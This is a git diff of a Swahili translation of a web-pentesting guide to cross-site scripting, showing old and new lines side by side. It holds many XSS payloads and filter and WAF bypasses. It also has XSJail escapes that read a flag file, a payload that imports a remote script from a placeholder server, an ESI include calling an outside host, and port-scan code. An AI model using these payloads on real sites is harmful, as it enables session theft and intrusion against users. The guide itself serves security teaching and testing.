Kuna **kodia ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodia ya JS isiyo na mipaka.
{{#ref}}
dom-xss.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali kwenye **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Baadhi ya **esemples**:
{{#ref}}
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
## Kuingiza ndani ya HTML safi
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **kufutwa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodia ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\***\***\*`-->`\*\***\***\*au \*\*\*\*\*\***`--!>`\*\*_
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama:
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyekundu inatumika, unaweza kutumia payloads kama:
```html
<script>
alert(1)
@ -161,22 +161,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambazo tags** unaweza kuunda.\
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
### Tags/Events brute-force
### Tags/Events kujaribu nguvu
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
### Custom tags
### Tags za kawaida
Ikiwa hujapata tag halali ya HTML, unaweza kujaribu **kuunda tag maalum** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu:
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa mbinu za kipumbavu:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -267,12 +267,12 @@ Ikiwa huwezi **kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarejelewa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/kuandika URL**
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML **zinatolewa wakati wa wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```javascript
@ -303,7 +303,7 @@ Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```
### Mipango Maalum Ndani ya sifa
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
Hapo unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Mahali ambapo unaweza kuingiza protokali hizi**
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag zinazokubali **sifa `src`** (lakini si `<img>`)
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag nyingi zinazokubali **sifa `src`** (lakini si `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,7 +347,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Njia nyingine za kuficha**
_**Katika kesi hii, njia ya uandishi wa HTML na njia ya uandishi wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
_**Katika kesi hii, njia ya usimbuaji wa HTML na usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -383,10 +383,10 @@ Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangili
../reverse-tab-nabbing.md
{{#endref}}
### juu ya Kuepuka Wakati wa Matukio
### juu ya Kuepuka Wakati wa Wamiliki
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** zinazofaa.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda hizi hata handlers unaweza kujaribu kuepuka zifuatazo:
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wamiliki wa matukio** wanaofaa.\
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa wa matukio unaweza kujaribu kuepuka zifuatazo:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Lebo zisizoweza kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
### XSS katika "Madaraja Yasiyoweza Kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
```html
@ -438,7 +438,7 @@ Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndan
- **Uandishi wa Hex na Octal**
- **Uandishi wa data**
**Kupita kwenye vitambulisho na sifa za HTML**
**Kupita kwenye vitambulisho vya HTML na sifa**
Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](#blacklist-bypasses).
@ -468,7 +468,7 @@ Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impac
## Kuingiza ndani ya msimbo wa JavaScript
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
Katika kesi hizi **input** yako itakuwa **imeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
### Kutoroka \<script> tag
@ -476,11 +476,11 @@ Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected dat
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
Kumbuka kwamba katika mfano huu **hatujafunga nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
### Ndani ya msimbo wa JS
Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -489,7 +489,7 @@ Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lin
### Template literals \`\`
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
Hii inaweza **kutumiwa vibaya** kwa kutumia:
```javascript
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript mipangilio mipya (kutoka** [**JavaScript mipangilio mipya**](#javascript-new-lines) **hila)**
**JavaScript mistari mipya (kutoka** [**hila ya JavaScript mistari mipya**](#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -737,23 +737,23 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **Ukatili wa DOM**
## **Vikosi vya DOM**
Kuna **kodiyake JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**ukosefu wa usalama wa DOM umehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
Kuna **kodii ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Huko utapata **maelezo ya kina kuhusu ni nini ukosefu wa usalama wa DOM, jinsi unavyosababishwa, na jinsi ya kuvitumia**.\
Huko utapata **maelezo ya kina kuhusu vikosi vya DOM, jinsi vinavyosababishwa, na jinsi ya kuvifanyia kazi**.\
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
### Kuboresha Self-XSS
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zilizo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -763,19 +763,19 @@ Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](
### Kutuma kikao chako kwa admin
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea ukosefu wa usalama.
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
### Kioo cha Kikao
Ikiwa unapata self XSS na ukurasa wa wavuti una **kioo cha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/zako za kikao.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
## Bypass Nyingine
### Unicode Iliyosawazishwa
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kuzunguka ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zilizorejelewa** zina **sawazishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -788,7 +788,7 @@ Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Pairi "Key","Value" itarudi kama ifuatavyo:
Jumla "Key","Value" itarudi kama ifuatavyo:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -826,18 +826,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji wa kichwa katika jibu la 302
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo ya kawaida**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
### Herufi, Nambari na Nukta Pekee
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii.
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inafanya** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii.
### Aina za Maudhui Halali za `<script>` kwa XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatupa kosa lifuatalo:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -863,9 +863,9 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Aina za Script kwa XSS
### Aina za Skripti kwa XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia script?
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Hivyo, ni aina gani zinaweza kuashiria kupakia skripti?
```html
<script type="???"></script>
```
@ -897,9 +897,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS.
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuibua XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua matatizo fulani yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
```html
<script type="speculationrules">
{
@ -952,9 +952,9 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
chrome-cache-to-xss.md
{{#endref}}
### Kutoroka kwa XS Jails
### Kukwepa XS Jails
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia suluhisho hizi nyingine halali za matatizo ya XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -985,7 +985,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii andiko**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
- Kutumia import()
```javascript
@ -1238,7 +1238,7 @@ steal-info-js.md
### Iframe Trap
Fanya mtumiaji aelekee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
{{#ref}}
../iframe-traps.md
@ -1358,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Maisha mafupi yanaonyesha bandari inayojibu_ _Muda mrefu unaonyesha hakuna majibu._
_Maisha mafupi yanaonyesha bandari inayojibu_ _Maisha marefu yanaonyesha hakuna majibu._
Kagua orodha ya bandari zilizokatazwa katika Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) na katika Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1381,7 +1381,7 @@ Wakati data yoyote inapoingizwa kwenye uwanja wa nywila, jina la mtumiaji na nyw
### Keylogger
Nilipokuwa nikitafuta kwenye github, niliona tofauti kadhaa:
Nilipokuwa nikitafuta kwenye github, nilipata tofauti kadhaa:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1496,9 +1496,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Kupata Maudhui Yaliyofichwa
### Regex - Access Hidden Content
Kutoka [**hiki andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
Kutoka [**hii andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1531,9 +1531,9 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
xss-in-markdown.md
{{#endref}}
### XSS hadi SSRF
### XSS kwa SSRF
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo hadi SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1549,7 +1549,7 @@ Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, ita
server-side-xss-dynamic-pdf.md
{{#endref}}
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data ya PDF**:
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
{{#ref}}
pdf-injection.md
@ -1557,7 +1557,7 @@ pdf-injection.md
### XSS katika Amp4Email
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.
@ -1621,7 +1621,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Pata **zaidi ya payloads za SVG katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Mambo Mengine ya JS & Taarifa Zinazohusiana

View File

@ -4,13 +4,13 @@
## Msingi wa XML
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizotangazwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinaruhusu uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `&lt;` na `&gt;`, ambayo yanalingana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
